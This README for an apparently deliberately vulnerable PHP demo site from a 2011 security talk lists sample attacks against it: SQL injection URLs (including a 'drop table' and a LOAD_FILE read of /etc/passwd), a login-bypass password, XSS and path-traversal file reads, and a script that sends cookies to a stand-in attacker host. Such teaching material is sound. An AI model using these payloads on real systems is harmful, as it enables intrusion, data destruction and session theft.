/php-sploits

PHP Site vulnerable to basic XSS/SQL Injection

Primary LanguagePHP

This sample code was used for the SydPHP February 2011 talk on website security.

Props go out to @sydphp for hosting the talk and letting us talk. And my partner in crime @CerealBoy.

This code has been developed in such a way that it is vulnerable to the most basic and common website security exploits. It's meant to contain all the bad practices.

SQL Injection / XSS / Session Hijacking are all available through this codebase.

Note: Some of these might not work if your database user doesn't have sufficient privileges.

Steps:
------

1. Load the db.sql file to your database.
2. Change the consts.php file to contain the username and password of database user.
3. Load your site.

Examples:
---------

SQL Injection:
--------------
http://localhost/?username=jared'%20or%20'1'='1
http://localhost/?username=jared'%20or%20''='
http://localhost/index.php?id=1%20or%201=1
http://localhost/?id=1;drop%20table%20invoices -- doesn't work because mysql_query stacked query support -- but will work with other dbs
http://localhost/index.php?username='%20UNION%20SELECT%201,1,1,1,LOAD_FILE('/etc/passwd'),'1
http://localhost/index.php?username='%20UNION%20SELECT%201,2,3,4,5,'hello%20world


Bypass Login:

Password: foo' or '1'='1

XSS:
----
http://localhost/index.php?username=jared%3Cscript%3Ealert('Hi%20there!')%3C/script%3E
http://localhost/template?load=php://filter/convert.base64-encode/resource=loadme

Use XSS to hijack a users session:
----------------------------------
On the 'Send message' page:

Hey just wanted to say that you guys rock!
<script>
new Image().src="http://somereallybadsite.tld/?c="+encodeURI(document.cookie);
</script>

XSS to read files on disk:
--------------------------
http://localhost/template.php?load=../../../../etc/passwd%00